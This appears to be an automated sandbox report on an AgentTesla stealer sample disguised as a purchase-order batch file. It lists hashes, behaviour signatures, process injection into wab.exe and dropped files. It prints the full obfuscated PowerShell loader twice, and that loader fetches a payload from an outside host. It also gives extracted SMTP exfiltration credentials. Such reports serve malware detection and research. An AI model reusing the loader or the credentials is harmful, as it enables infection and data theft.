agenttesla | 40acbda6947bc0e99b0d5cc93a5d1a58529a7469563e328a2ca54344f08b9b75

General

Target

PURCHASE ORDER LIST GREEN VALLY CORP PDF.bat
Size

7KB
MD5

6c70e7a8891c5f33997d79d37e79aa37
SHA1

2078349aa37c31d0f378e302d797845a25603961
SHA256

40acbda6947bc0e99b0d5cc93a5d1a58529a7469563e328a2ca54344f08b9b75
SHA512

e2ef87750ec9b3683ffc4b13e4e954e4e20d8fdcf79d704ee6a54ee3a2375ad9bfb1557bb6a0dde0d295af7d78d1bcc398606466c49250e2e566f433a5ba01b2
SSDEEP

192:61a/J9MX21bdLSgMulLVo7l+isVXmG5ZWZI:6YJGugJ+ilG5J

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.controlfire.com.mx
Port:
587
Username:
craztor@controlfire.com.mx
Password:
+DI9CNZM&Y%W
Email To:
craztorreport@controlfire.com.mx

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

4 1900 powershell.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

7 ip-api.com
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

wab.exe

pid process

2988 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

2692 powershell.exe
2988 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2692 set thread context of 2988 2692 powershell.exe wab.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exewab.exe

pid process

1900 powershell.exe
2692 powershell.exe
2692 powershell.exe
2988 wab.exe
2988 wab.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2692 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exewab.exe

description pid process

Token: SeDebugPrivilege 1900 powershell.exe
Token: SeDebugPrivilege 2692 powershell.exe
Token: SeDebugPrivilege 2988 wab.exe

flow	pid	process
4	1900	powershell.exe

flow	ioc
7	ip-api.com

pid	process
2988	wab.exe

pid	process
2692	powershell.exe
2988	wab.exe

description	pid	process	target process
PID 2692 set thread context of 2988	2692	powershell.exe	wab.exe

pid	process
1900	powershell.exe
2692	powershell.exe
2692	powershell.exe
2988	wab.exe
2988	wab.exe

pid	process
2692	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1900	powershell.exe
Token: SeDebugPrivilege	2692	powershell.exe
Token: SeDebugPrivilege	2988	wab.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

cmd.exepowershell.exepowershell.exe

description	pid	process	target process
PID 948 wrote to memory of 1900	948	cmd.exe	powershell.exe
PID 948 wrote to memory of 1900	948	cmd.exe	powershell.exe
PID 948 wrote to memory of 1900	948	cmd.exe	powershell.exe
PID 1900 wrote to memory of 1880	1900	powershell.exe	cmd.exe
PID 1900 wrote to memory of 1880	1900	powershell.exe	cmd.exe
PID 1900 wrote to memory of 1880	1900	powershell.exe	cmd.exe
PID 1900 wrote to memory of 2692	1900	powershell.exe	powershell.exe
PID 1900 wrote to memory of 2692	1900	powershell.exe	powershell.exe
PID 1900 wrote to memory of 2692	1900	powershell.exe	powershell.exe
PID 1900 wrote to memory of 2692	1900	powershell.exe	powershell.exe
PID 2692 wrote to memory of 2624	2692	powershell.exe	cmd.exe
PID 2692 wrote to memory of 2624	2692	powershell.exe	cmd.exe
PID 2692 wrote to memory of 2624	2692	powershell.exe	cmd.exe
PID 2692 wrote to memory of 2624	2692	powershell.exe	cmd.exe
PID 2692 wrote to memory of 2988	2692	powershell.exe	wab.exe
PID 2692 wrote to memory of 2988	2692	powershell.exe	wab.exe
PID 2692 wrote to memory of 2988	2692	powershell.exe	wab.exe
PID 2692 wrote to memory of 2988	2692	powershell.exe	wab.exe
PID 2692 wrote to memory of 2988	2692	powershell.exe	wab.exe
PID 2692 wrote to memory of 2988	2692	powershell.exe	wab.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER LIST GREEN VALLY CORP PDF.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:948

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -windowstyle hidden "$Scoliosis = 1;$Uranological='S';$Uranological+='ubstrin';$Uranological+='g';Function Unfordable($Afnazificerende){$tillg=$Afnazificerende.Length-$Scoliosis;For($Whiskin=5; $Whiskin -lt $tillg; $Whiskin+=(6)){$Naganas+=$Afnazificerende.$Uranological.Invoke($Whiskin, $Scoliosis);}$Naganas;}function Overcultivation($Undlivet){. ($Promachos) ($Undlivet);}$Nonpacifiable=Unfordable 'ForriMMarjooRadiozTovtristeerl RanglHypn.aA,fal/Laede5Manus.Rader0 ,itu Svovl(ThereWaymauiForjanBrokedU,rstoMiniswO defsMecha NonseNS.jdmT Skol deadn1 Bron0Korre.Fisk,0Tmmer;Brutt RepluWCompti Sai nEpito6Kornh4 St,a;Anstt AktivxStupi6folke4 Un,i;Staun Br.merInnovvepina:Op.ra1 Stem2 icti1Impr .Dval.0 Opma)Flamm BetutGEnsemerhebocRorgnkOpby oRelat/ Skia2 forl0A aph1Reve.0Prowl0Flavo1Gra d0Polyc1 esid nimF,hiskiDeltarFaks,eComepf J,zzo.austx Shna/Hinde1Fre.d2Skrog1Skamb.cap i0Enhed ';$straalepletters=Unfordable ' EtwaUForthsQuoine UdtrrRecur-TriviAPreplg EluteLadysnGharntEmb e ';$Meshrebeeyeh60=Unfordable 'Boondh FisktUndert.ouarp Wat,:Fordy/ Phi /Sad,e2.ndri3Dextr.Compe9Udste5Bu,df.Dryss6Uo.de0Tower.Ve,mi7 Bole7Hyper/Dag,eS UnalpNoveloForsknEg.npdS,angu Pardl InteiErnrixUnder.Parada AkonaSeriafspelt ';$Idoteidae=Unfordable '.loks> Ssla ';$Promachos=Unfordable 'PudgyiTotaleSies xBaksn ';$Casimir='Yellowrump';Overcultivation (Unfordable 'BygvrSAymece Aloet Radi- FremC.ulogoMennenbefintBankrePhagonRela tStabe Gudet-OmdelPIndfoaUntact,ynchhConvu SuppTExund:t.app\TrepabMeethe gorgtReturrKnudeaSla mgDebartGiftin O deiSouthnMisddgBiblisRecoamAligha SpriaMelamdJordbe P.ernDrluk. .odetLovbexGlimttslagt Succe-AmfibV ibeaR.warlBo ghuOverpeAgert Maxso$AmotiCskruma B,omsFejeli Mi.imGarani.tterrSla o; rykf ');Overcultivation (Unfordable ' AgtviA,toifforwa forsm(SvigbtDatteeC,thusKlasstmalla-.leskp SankaDatabt enblhRaffi UnsoTOnlya:Delta\ TildbTutele Li vtFos,arBehovap pewgtoisttBorgenRe.rdiBruttn L nggBo gesVocatmoutwiaUnd raKrum,dCommeeSandsnEfter.G laktBefrix Bed t Yngl)Gravk{BredseDokumxUnhobiSlitctmaler}I fin; Va,g ');$Escheats40 = Unfordable ' K tee.ejlpccoarchColonori ge S.gna%DisseaMarkhpS inappreind JuliaMessitTomlea Bunk%Bro.h\S ndssNaesth Ligee DoktvfdekaeReforlNoncelSaurui Kn pn un eg Unni.Sal.mfA,bejoConf,rbidsa Ricab&Waggo& Nvns Sk.eteSektecElekthZoogeoU.ext Freds$.orld ';Overcultivation (Unfordable 'Misar$HydrogautotlInhu,o Precb SwadaThaynlRoter: ,nkoEAutopvPund.aLow.rnReco gKa,lie nonslRaastiJubileMotortMisgre Tomekge.iasAfarstAfdaneDen.ir lin,naraneeShoatsfradm=Mis,a(NaturcReklamCalvadPeda. C,ntr/He esc Lyke Retve$ Syd E.ennesIncitcN,hedh ink.e S.ataIndkatKnowhs .ulm4Ultra0G.sti)Trkul ');Overcultivation (Unfordable ' Ball$KoopegOxyphlFly.eoRequobD,masakaabelArbor:MuzziTPi,rchCh moePi.loo NonurFind,yIntromInnocopothenFrugagStatie Tvanr Impo= Hy,i$FuldeM sr,te E.dosSpiseh Hy,dr Proee edorbRadiaeClubhe Apsiy .reneFo.eih Madr6Vel.c0Dissi. SanisModelp BrevlT etei Retit.ntik(Indif$,vercIComandBdleroPhilotfaldee Resui LammdWateraDecideSkriv)Laryn ');$Meshrebeeyeh60=$Theorymonger[0];Overcultivation (Unfordable 'N noc$ OvergnonrelGoug oforklbAgropaUnd glFrika: Udl sUnfelhFr.tueP,nsrtUful,lDigreaOrigin astadNubilsUdn,nkInstieE,iras,ktie=ChadoNSo.rge Compw .ibb-AdresOPancrbDesinjFunk.eMode.c K notTredi telefS Afkoy atiosforv tDeod.ef.ssimZen b. D,spN rdoreForsttfor k.FrittW UnafeSgadpbRefusCSt velH,spiiTum,te,althnMariots uts ');Overcultivation (Unfordable 'sprin$Molo,sUrophhPolereDuctotKbmanlionosaRightn Er.rdhyperstestukvau.heE.sprsnetwo.FolkeHRaketePla,maPolardS,ndeeIncorrHarm.sMaint[Infor$ReconsApp.rtT.lvtrExhoraUneagaScandl ,ktie .orbpUndialKonfieEkstrt K avtChiroeD.plir ogonsPyrid]Ortha= Grap$OverbNTilbao .vehnAbearp .sseaD.bbec WilliCabfrfGlukoi BardaRan,hbDile lIndeheKkken ');$Hjspndingsanlg=Unfordable 'UtmossRygnihAfpree Re itAlabalT,rveaSelf,n,amstdDeflosS,rafkS nsaeTufolsr ful.FoedsD PastoTullywVersenCha.tlDiascoSvedeaEnfladScatoFBegiviStegelSkunkeAntis(Forbl$.ggluMCarg eJu bls KlkkhP rtirSultaesedjabFortueOmdefeD,sfryOveree .verhRetor6 Iamb0Kar m, osep$CalliPTragtoGyrossAtompt Hu.meA presTilstoRehabpFloddhIsuroa .lfagAc.reeFysiua Quo.l As,r)Opfyl ';$Hjspndingsanlg=$Evangelieteksternes[1]+$Hjspndingsanlg;$Postesophageal=$Evangelieteksternes[0];Overcultivation (Unfordable 'Carou$Ort,og Sh,nlTaeniolittebDv,tpaFartjlS.idn:KjoleBt,benu aisedVelseg UdeneMycomtSlagttSkovsaHospilSemirlFrakkeTilnrn Kimie Xant= Fi,a(VelarTLnar.eKlovnsKvajptDefin-Oph,oPBuffeaTillgtUforuh.emat .urs$ Dar.PWaxbeoa alfsfacettSkabeeSub,ksmissioNontupToldahMaundaFrenagBenzoe odbyaUdlbelC.teg) onfi ');while (!$Budgettallene) {Overcultivation (Unfordable 'Tug,e$StiftgR jnelTilstoMimeob Kl.nabenefl ,and:Sa,meA F.rstGho.tr,onexiA iskuShei.mBytteeRomajtOutthsbanna=Latti$ Vibrt Tr.mr L nduh.rmoeKlyst ') ;Overcultivation $Hjspndingsanlg;Overcultivation (Unfordable ' CounSObsertplutaaunbanrD gsatSankt-ParelS,nkarlPar.de Parre eatepFljen Nekr4 Afs ');Overcultivation (Unfordable 'Ndern$barrigUredol,oleioBrunobAfskeaReerelStabi: downBReemiuArb,jdPerfugAkklieS.entt SkygtMas.eaFinsklyellolRgrene,isapnbud yeUds.r=Inter(PermaTTheoweAeronsOveritAzot -RuskuPIntraaPalattDehumhE tom Hirud$ MewlPAkkviomuzgas MalttUnvaleTavseswifelo Filhpb defhTursea.enomgNonp e A.uraKalkulDiap )Ferie ') ;Overcultivation (Unfordable 'Okse $AuricgUnde lMetapoPedatbCromsaAff,ll Unhe:FewmeSAlarmtOpstiaSe icl KeftlIndreiDesexn Guttg inieJysk,rMetalnUdbydePe,so= Skar$ RotagCurstl AkseoEnspobUd.ida NeurlB,ted:SpkkeT.tannrRdsela onoi.rivanSki.ta Dr kbIn,oplB,rgeeDecra+Tmret+H.rud%Nigge$ AmbiTFr hjh UnfuePere o Rehar TvisyrevalmSmok oFu.ktnMeddegMed eeSforkr Cou...tyrkcTyroioKontrulov vnFor.at ,rad ') ;$Meshrebeeyeh60=$Theorymonger[$Stallingerne];}Overcultivation (Unfordable 'Tegnf$ Fig g Fodel .onpoS rinbIn.eraChikal Erkl:NonoxT V.lkhFemorrgteskiPumpenTreengGhetciCrossnPhospg Outl Iron= eprs Lage GAcaceeSkybatDisko-StricCOverioKlippn,dbrytD,ueseAuthenSforstCe,le Speci$ jdekPTnknioEpitasAmitytKu,sueLaters StvgoradirpHydrohYngreaN,dtrg,emokeBe,igaPica lSvink ');Overcultivation (Unfordable 'Musso$InsengKeypul Canto AlenbKonsiaZoharlOphth:Sn opKUnforeS,gilgcharmlGoutieBoressEksk pCo feiMeshulDemils deha Astro=Melte T iop[NebulSProsoy UroxsForstt sygne,rossmPrope. SlukCSketcoIndkrnBiotevP,umpeVillerBergat yste]chart: Bygg: .winF MastrIndtro lverm eismB PulmaRobals Smeee Infi6Super4NonspSs,ocktWh.msrTrkkeiIkldenImbrog Tric( Pa e$Unli,TInv,nhPaup r N.vaiEdel nF,algg,ogkliTriren Str,gPropa)Talbl ');Overcultivation (Unfordable 'Appel$PlebigNonvalNoisooDeistbFour,a fluolForur: VestSTillanCoigndReomieAstrorScrapbControridesmBnkerbFormaeOddmed For,eBusin Jetst=Textl .onco[SkovlSO drtyPa.scs ul.rtJa.ereUnconm Arbe.AlkalT indeHenryxPaskot onma.WalkaEWa,ghnHerskcPrinsoFjerkdAbri,iAn,agn BlokgDi.fe] ,olt:Jodti:Neve.AFi,keSBac.lCHumerIF.lesISuav,. opstGflommeJulemt NongS Stint BrstrSs ykiExtranAvoidgFnged(Fyren$SundeKErholeUn,tig.ousilGrundeAntinsSnigspUnnigiPendllSej.esContr)Negat ');Overcultivation (Unfordable 'V rke$UnrhygU.perl Diffo,ardbbSed.caVe,malIcono:A triSMedhjhaaka.aS mborblodie QuifpHocusuM alrs AspahLaitaeTantrr Natu=raab,$ CeruS DolmnFavn,dbrutae SurvrPro.rbAutodoUnde,mVan,rbGrd keBundgd Skrae ,ejl.AlmshsMinueuBloksbTakofsForhatPostrr DactiEnchenUngragUnca (Sg,fa2Gingk9Homoe3 Re e7Tvang5 Pare6.fors, Maea2 Semi9 Bevr9pibe 5Mi jb3Je si)hygro ');Overcultivation $Sharepusher;"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1900

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\shevelling.for && echo $"
3⤵
PID:1880

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Scoliosis = 1;$Uranological='S';$Uranological+='ubstrin';$Uranological+='g';Function Unfordable($Afnazificerende){$tillg=$Afnazificerende.Length-$Scoliosis;For($Whiskin=5; $Whiskin -lt $tillg; $Whiskin+=(6)){$Naganas+=$Afnazificerende.$Uranological.Invoke($Whiskin, $Scoliosis);}$Naganas;}function Overcultivation($Undlivet){. ($Promachos) ($Undlivet);}$Nonpacifiable=Unfordable 'ForriMMarjooRadiozTovtristeerl RanglHypn.aA,fal/Laede5Manus.Rader0 ,itu Svovl(ThereWaymauiForjanBrokedU,rstoMiniswO defsMecha NonseNS.jdmT Skol deadn1 Bron0Korre.Fisk,0Tmmer;Brutt RepluWCompti Sai nEpito6Kornh4 St,a;Anstt AktivxStupi6folke4 Un,i;Staun Br.merInnovvepina:Op.ra1 Stem2 icti1Impr .Dval.0 Opma)Flamm BetutGEnsemerhebocRorgnkOpby oRelat/ Skia2 forl0A aph1Reve.0Prowl0Flavo1Gra d0Polyc1 esid nimF,hiskiDeltarFaks,eComepf J,zzo.austx Shna/Hinde1Fre.d2Skrog1Skamb.cap i0Enhed ';$straalepletters=Unfordable ' EtwaUForthsQuoine UdtrrRecur-TriviAPreplg EluteLadysnGharntEmb e ';$Meshrebeeyeh60=Unfordable 'Boondh FisktUndert.ouarp Wat,:Fordy/ Phi /Sad,e2.ndri3Dextr.Compe9Udste5Bu,df.Dryss6Uo.de0Tower.Ve,mi7 Bole7Hyper/Dag,eS UnalpNoveloForsknEg.npdS,angu Pardl InteiErnrixUnder.Parada AkonaSeriafspelt ';$Idoteidae=Unfordable '.loks> Ssla ';$Promachos=Unfordable 'PudgyiTotaleSies xBaksn ';$Casimir='Yellowrump';Overcultivation (Unfordable 'BygvrSAymece Aloet Radi- FremC.ulogoMennenbefintBankrePhagonRela tStabe Gudet-OmdelPIndfoaUntact,ynchhConvu SuppTExund:t.app\TrepabMeethe gorgtReturrKnudeaSla mgDebartGiftin O deiSouthnMisddgBiblisRecoamAligha SpriaMelamdJordbe P.ernDrluk. .odetLovbexGlimttslagt Succe-AmfibV ibeaR.warlBo ghuOverpeAgert Maxso$AmotiCskruma B,omsFejeli Mi.imGarani.tterrSla o; rykf ');Overcultivation (Unfordable ' AgtviA,toifforwa forsm(SvigbtDatteeC,thusKlasstmalla-.leskp SankaDatabt enblhRaffi UnsoTOnlya:Delta\ TildbTutele Li vtFos,arBehovap pewgtoisttBorgenRe.rdiBruttn L nggBo gesVocatmoutwiaUnd raKrum,dCommeeSandsnEfter.G laktBefrix Bed t Yngl)Gravk{BredseDokumxUnhobiSlitctmaler}I fin; Va,g ');$Escheats40 = Unfordable ' K tee.ejlpccoarchColonori ge S.gna%DisseaMarkhpS inappreind JuliaMessitTomlea Bunk%Bro.h\S ndssNaesth Ligee DoktvfdekaeReforlNoncelSaurui Kn pn un eg Unni.Sal.mfA,bejoConf,rbidsa Ricab&Waggo& Nvns Sk.eteSektecElekthZoogeoU.ext Freds$.orld ';Overcultivation (Unfordable 'Misar$HydrogautotlInhu,o Precb SwadaThaynlRoter: ,nkoEAutopvPund.aLow.rnReco gKa,lie nonslRaastiJubileMotortMisgre Tomekge.iasAfarstAfdaneDen.ir lin,naraneeShoatsfradm=Mis,a(NaturcReklamCalvadPeda. C,ntr/He esc Lyke Retve$ Syd E.ennesIncitcN,hedh ink.e S.ataIndkatKnowhs .ulm4Ultra0G.sti)Trkul ');Overcultivation (Unfordable ' Ball$KoopegOxyphlFly.eoRequobD,masakaabelArbor:MuzziTPi,rchCh moePi.loo NonurFind,yIntromInnocopothenFrugagStatie Tvanr Impo= Hy,i$FuldeM sr,te E.dosSpiseh Hy,dr Proee edorbRadiaeClubhe Apsiy .reneFo.eih Madr6Vel.c0Dissi. SanisModelp BrevlT etei Retit.ntik(Indif$,vercIComandBdleroPhilotfaldee Resui LammdWateraDecideSkriv)Laryn ');$Meshrebeeyeh60=$Theorymonger[0];Overcultivation (Unfordable 'N noc$ OvergnonrelGoug oforklbAgropaUnd glFrika: Udl sUnfelhFr.tueP,nsrtUful,lDigreaOrigin astadNubilsUdn,nkInstieE,iras,ktie=ChadoNSo.rge Compw .ibb-AdresOPancrbDesinjFunk.eMode.c K notTredi telefS Afkoy atiosforv tDeod.ef.ssimZen b. D,spN rdoreForsttfor k.FrittW UnafeSgadpbRefusCSt velH,spiiTum,te,althnMariots uts ');Overcultivation (Unfordable 'sprin$Molo,sUrophhPolereDuctotKbmanlionosaRightn Er.rdhyperstestukvau.heE.sprsnetwo.FolkeHRaketePla,maPolardS,ndeeIncorrHarm.sMaint[Infor$ReconsApp.rtT.lvtrExhoraUneagaScandl ,ktie .orbpUndialKonfieEkstrt K avtChiroeD.plir ogonsPyrid]Ortha= Grap$OverbNTilbao .vehnAbearp .sseaD.bbec WilliCabfrfGlukoi BardaRan,hbDile lIndeheKkken ');$Hjspndingsanlg=Unfordable 'UtmossRygnihAfpree Re itAlabalT,rveaSelf,n,amstdDeflosS,rafkS nsaeTufolsr ful.FoedsD PastoTullywVersenCha.tlDiascoSvedeaEnfladScatoFBegiviStegelSkunkeAntis(Forbl$.ggluMCarg eJu bls KlkkhP rtirSultaesedjabFortueOmdefeD,sfryOveree .verhRetor6 Iamb0Kar m, osep$CalliPTragtoGyrossAtompt Hu.meA presTilstoRehabpFloddhIsuroa .lfagAc.reeFysiua Quo.l As,r)Opfyl ';$Hjspndingsanlg=$Evangelieteksternes[1]+$Hjspndingsanlg;$Postesophageal=$Evangelieteksternes[0];Overcultivation (Unfordable 'Carou$Ort,og Sh,nlTaeniolittebDv,tpaFartjlS.idn:KjoleBt,benu aisedVelseg UdeneMycomtSlagttSkovsaHospilSemirlFrakkeTilnrn Kimie Xant= Fi,a(VelarTLnar.eKlovnsKvajptDefin-Oph,oPBuffeaTillgtUforuh.emat .urs$ Dar.PWaxbeoa alfsfacettSkabeeSub,ksmissioNontupToldahMaundaFrenagBenzoe odbyaUdlbelC.teg) onfi ');while (!$Budgettallene) {Overcultivation (Unfordable 'Tug,e$StiftgR jnelTilstoMimeob Kl.nabenefl ,and:Sa,meA F.rstGho.tr,onexiA iskuShei.mBytteeRomajtOutthsbanna=Latti$ Vibrt Tr.mr L nduh.rmoeKlyst ') ;Overcultivation $Hjspndingsanlg;Overcultivation (Unfordable ' CounSObsertplutaaunbanrD gsatSankt-ParelS,nkarlPar.de Parre eatepFljen Nekr4 Afs ');Overcultivation (Unfordable 'Ndern$barrigUredol,oleioBrunobAfskeaReerelStabi: downBReemiuArb,jdPerfugAkklieS.entt SkygtMas.eaFinsklyellolRgrene,isapnbud yeUds.r=Inter(PermaTTheoweAeronsOveritAzot -RuskuPIntraaPalattDehumhE tom Hirud$ MewlPAkkviomuzgas MalttUnvaleTavseswifelo Filhpb defhTursea.enomgNonp e A.uraKalkulDiap )Ferie ') ;Overcultivation (Unfordable 'Okse $AuricgUnde lMetapoPedatbCromsaAff,ll Unhe:FewmeSAlarmtOpstiaSe icl KeftlIndreiDesexn Guttg inieJysk,rMetalnUdbydePe,so= Skar$ RotagCurstl AkseoEnspobUd.ida NeurlB,ted:SpkkeT.tannrRdsela onoi.rivanSki.ta Dr kbIn,oplB,rgeeDecra+Tmret+H.rud%Nigge$ AmbiTFr hjh UnfuePere o Rehar TvisyrevalmSmok oFu.ktnMeddegMed eeSforkr Cou...tyrkcTyroioKontrulov vnFor.at ,rad ') ;$Meshrebeeyeh60=$Theorymonger[$Stallingerne];}Overcultivation (Unfordable 'Tegnf$ Fig g Fodel .onpoS rinbIn.eraChikal Erkl:NonoxT V.lkhFemorrgteskiPumpenTreengGhetciCrossnPhospg Outl Iron= eprs Lage GAcaceeSkybatDisko-StricCOverioKlippn,dbrytD,ueseAuthenSforstCe,le Speci$ jdekPTnknioEpitasAmitytKu,sueLaters StvgoradirpHydrohYngreaN,dtrg,emokeBe,igaPica lSvink ');Overcultivation (Unfordable 'Musso$InsengKeypul Canto AlenbKonsiaZoharlOphth:Sn opKUnforeS,gilgcharmlGoutieBoressEksk pCo feiMeshulDemils deha Astro=Melte T iop[NebulSProsoy UroxsForstt sygne,rossmPrope. SlukCSketcoIndkrnBiotevP,umpeVillerBergat yste]chart: Bygg: .winF MastrIndtro lverm eismB PulmaRobals Smeee Infi6Super4NonspSs,ocktWh.msrTrkkeiIkldenImbrog Tric( Pa e$Unli,TInv,nhPaup r N.vaiEdel nF,algg,ogkliTriren Str,gPropa)Talbl ');Overcultivation (Unfordable 'Appel$PlebigNonvalNoisooDeistbFour,a fluolForur: VestSTillanCoigndReomieAstrorScrapbControridesmBnkerbFormaeOddmed For,eBusin Jetst=Textl .onco[SkovlSO drtyPa.scs ul.rtJa.ereUnconm Arbe.AlkalT indeHenryxPaskot onma.WalkaEWa,ghnHerskcPrinsoFjerkdAbri,iAn,agn BlokgDi.fe] ,olt:Jodti:Neve.AFi,keSBac.lCHumerIF.lesISuav,. opstGflommeJulemt NongS Stint BrstrSs ykiExtranAvoidgFnged(Fyren$SundeKErholeUn,tig.ousilGrundeAntinsSnigspUnnigiPendllSej.esContr)Negat ');Overcultivation (Unfordable 'V rke$UnrhygU.perl Diffo,ardbbSed.caVe,malIcono:A triSMedhjhaaka.aS mborblodie QuifpHocusuM alrs AspahLaitaeTantrr Natu=raab,$ CeruS DolmnFavn,dbrutae SurvrPro.rbAutodoUnde,mVan,rbGrd keBundgd Skrae ,ejl.AlmshsMinueuBloksbTakofsForhatPostrr DactiEnchenUngragUnca (Sg,fa2Gingk9Homoe3 Re e7Tvang5 Pare6.fors, Maea2 Semi9 Bevr9pibe 5Mi jb3Je si)hygro ');Overcultivation $Sharepusher;"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2692

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\shevelling.for && echo $"
4⤵
PID:2624

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2988

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NDAQF4L00ZT7B34YVO1H.temp
Filesize
7KB

MD5
d6e0e005fc1ecb12bae626e711700986

SHA1
8f452bd0c40623bc9a13ebd28b6afff906b6f806

SHA256
d8edd4dd4d55cb7d63b85e83ea99d4e00029b3dfc82c5ecc748cb0637ea16018

SHA512
19cc88e4c6ef4253836814f97c258fff403f7f7448bb6e70c64f68fdfac326f2c333ac8a19515cf927189ea6bfb7b1b482ff05bc8644d5deb0324cc76617f5f8

Download Submit
C:\Users\Admin\AppData\Roaming\shevelling.for
Filesize
421KB

MD5
814e089efc66480f95dacdef30b3f4c5

SHA1
6abbd64204bbf35ebe8312a06629339618515cec

SHA256
2fa337dcaf23ade572df2b0dccb08f586dc54598cf10a0f09d2379cec1e743ec

SHA512
d6ef3ed4dedee129e720939587b0bde2cd044409d33d37c5395ff24b3db1b824dcdb27af4f2dede44e9ba1735a1956bf2cc66839253124b95daf9ec9b03b6ff6

Download Submit
memory/1900-22-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/1900-18-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/1900-8-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/1900-10-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/1900-9-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/1900-11-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/1900-7-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/1900-5-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download
memory/1900-26-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/1900-6-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/1900-20-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/1900-19-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/1900-21-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/1900-4-0x000000001B550000-0x000000001B832000-memory.dmp

Filesize
2.9MB

Download
memory/2692-17-0x00000000066C0000-0x000000000B5CA000-memory.dmp

Filesize
79.0MB

Download
memory/2988-24-0x0000000000220000-0x0000000001282000-memory.dmp

Filesize
16.4MB

Download
memory/2988-25-0x0000000000220000-0x0000000001282000-memory.dmp

Filesize
16.4MB

Download
memory/2988-27-0x0000000000220000-0x0000000000262000-memory.dmp

Filesize
264KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads